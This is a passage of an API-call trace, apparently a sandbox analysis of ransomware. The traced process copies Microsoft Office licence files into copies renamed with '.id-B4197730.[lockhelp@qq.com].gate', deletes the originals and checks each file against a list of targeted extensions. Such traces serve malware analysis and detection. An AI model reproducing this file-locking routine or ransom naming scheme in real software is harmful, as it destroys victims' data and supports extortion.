lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.978] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x116, lpOverlapped=0x0) returned 1 [0314.979] SetEndOfFile (hFile=0x554) returned 1 [0314.979] CloseHandle (hObject=0x554) returned 1 [0314.979] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.979] SetEndOfFile (hFile=0x4b0) returned 1 [0314.986] CloseHandle (hObject=0x4b0) returned 1 [0314.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0315.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.005] lstrlenW (lpString=".doc") returned 4 [0315.005] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.005] lstrlenW (lpString=".docx") returned 5 [0315.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.005] lstrlenW (lpString=".pdf") returned 4 [0315.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.005] lstrlenW (lpString=".xls") returned 4 [0315.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.005] lstrlenW (lpString=".xlsx") returned 5 [0315.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.005] lstrlenW (lpString=".ppt") returned 4 [0315.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.006] lstrlenW (lpString=".zip") returned 4 [0315.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.006] lstrlenW (lpString=".rar") returned 4 [0315.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.006] lstrlenW (lpString=".bz2") returned 4 [0315.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.006] lstrlenW (lpString=".7z") returned 3 [0315.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.006] lstrlenW (lpString=".dbf") returned 4 [0315.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.006] lstrlenW (lpString=".1cd") returned 4 [0315.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0315.006] lstrlenW (lpString=".jpg") returned 4 [0315.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.040] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11581) returned 1 [0315.040] CloseHandle (hObject=0x4a0) returned 1 [0315.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0315.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.041] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.041] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.102] GetLastError () returned 0x0 [0315.102] ReadFile (in: hFile=0x4a0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0315.129] WriteFile (in: hFile=0x448, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0315.130] ReadFile (in: hFile=0x4a0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.130] WriteFile (in: hFile=0x448, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x108, lpOverlapped=0x0) returned 1 [0315.130] SetEndOfFile (hFile=0x448) returned 1 [0315.130] CloseHandle (hObject=0x448) returned 1 [0315.130] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.130] SetEndOfFile (hFile=0x4a0) returned 1 [0315.140] CloseHandle (hObject=0x4a0) returned 1 [0315.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0315.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.142] lstrlenW (lpString=".doc") returned 4 [0315.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".docx") returned 5 [0315.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.142] lstrlenW (lpString=".pdf") returned 4 [0315.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".xls") returned 4 [0315.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".xlsx") returned 5 [0315.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.142] lstrlenW (lpString=".ppt") returned 4 [0315.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.142] lstrlenW (lpString=".zip") returned 4 [0315.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".rar") returned 4 [0315.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".bz2") returned 4 [0315.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString=".7z") returned 3 [0315.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.142] lstrlenW (lpString=".dbf") returned 4 [0315.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.142] lstrlenW (lpString=".1cd") returned 4 [0315.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0315.143] lstrlenW (lpString=".jpg") returned 4 [0315.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.178] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=20841) returned 1 [0315.178] CloseHandle (hObject=0x528) returned 1 [0315.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0315.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.179] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.179] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.180] GetLastError () returned 0x0 [0315.180] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x5169, lpOverlapped=0x0) returned 1 [0315.439] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5170, lpOverlapped=0x0) returned 1 [0315.440] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.440] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x102, lpOverlapped=0x0) returned 1 [0315.440] SetEndOfFile (hFile=0x4c0) returned 1 [0315.440] CloseHandle (hObject=0x4c0) returned 1 [0315.440] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.440] SetEndOfFile (hFile=0x528) returned 1 [0315.443] CloseHandle (hObject=0x528) returned 1 [0315.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0315.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.444] lstrlenW (lpString=".doc") returned 4 [0315.444] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.444] lstrlenW (lpString=".docx") returned 5 [0315.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.444] lstrlenW (lpString=".pdf") returned 4 [0315.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.444] lstrlenW (lpString=".xls") returned 4 [0315.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.444] lstrlenW (lpString=".xlsx") returned 5 [0315.444] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.444] lstrlenW (lpString=".ppt") returned 4 [0315.444] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.445] lstrlenW (lpString=".zip") returned 4 [0315.445] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString=".rar") returned 4 [0315.445] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString=".bz2") returned 4 [0315.445] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString=".7z") returned 3 [0315.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.445] lstrlenW (lpString=".dbf") returned 4 [0315.445] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.445] lstrlenW (lpString=".1cd") returned 4 [0315.445] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0315.445] lstrlenW (lpString=".jpg") returned 4 [0315.445] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.445] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=10635) returned 1 [0315.445] CloseHandle (hObject=0x528) returned 1 [0315.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0315.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.446] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.446] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0315.447] GetLastError () returned 0x0 [0315.447] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x298b, lpOverlapped=0x0) returned 1 [0315.546] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2990, lpOverlapped=0x0) returned 1 [0315.547] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.547] WriteFile (in: hFile=0x4c0, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x106, lpOverlapped=0x0) returned 1 [0315.547] SetEndOfFile (hFile=0x4c0) returned 1 [0315.559] CloseHandle (hObject=0x4c0) returned 1 [0315.561] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.561] SetEndOfFile (hFile=0x528) returned 1 [0315.574] CloseHandle (hObject=0x528) returned 1 [0315.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0315.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.622] lstrlenW (lpString=".doc") returned 4 [0315.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.622] lstrlenW (lpString=".docx") returned 5 [0315.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.622] lstrlenW (lpString=".pdf") returned 4 [0315.622] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.622] lstrlenW (lpString=".xls") returned 4 [0315.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.622] lstrlenW (lpString=".xlsx") returned 5 [0315.622] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.622] lstrlenW (lpString=".ppt") returned 4 [0315.622] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.623] lstrlenW (lpString=".zip") returned 4 [0315.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString=".rar") returned 4 [0315.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString=".bz2") returned 4 [0315.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString=".7z") returned 3 [0315.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.623] lstrlenW (lpString=".dbf") returned 4 [0315.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.623] lstrlenW (lpString=".1cd") returned 4 [0315.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0315.623] lstrlenW (lpString=".jpg") returned 4 [0315.623] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.623] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=20844) returned 1 [0315.623] CloseHandle (hObject=0x554) returned 1 [0315.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0315.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0315.624] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.624] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0315.625] GetLastError () returned 0x0 [0315.625] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x516c, lpOverlapped=0x0) returned 1 [0315.715] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5170, lpOverlapped=0x0) returned 1 [0315.716] ReadFile (in: hFile=0x554, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.716] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x104, lpOverlapped=0x0) returned 1 [0315.716] SetEndOfFile (hFile=0x414) returned 1 [0315.716] CloseHandle (hObject=0x414) returned 1 [0315.717] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.717] SetEndOfFile (hFile=0x554) returned 1 [0315.720] CloseHandle (hObject=0x554) returned 1 [0315.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0315.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0315.721] lstrlenW (lpString=".doc") returned 4 [0315.721] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.721] lstrlenW (lpString=".docx") returned 5 [0315.721] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.721] lstrlenW (lpString=".pdf") returned 4 [0315.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString=".xls") returned 4 [0315.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.722] lstrlenW (lpString=".xlsx") returned 5 [0315.722] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.722] lstrlenW (lpString=".ppt") returned 4 [0315.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 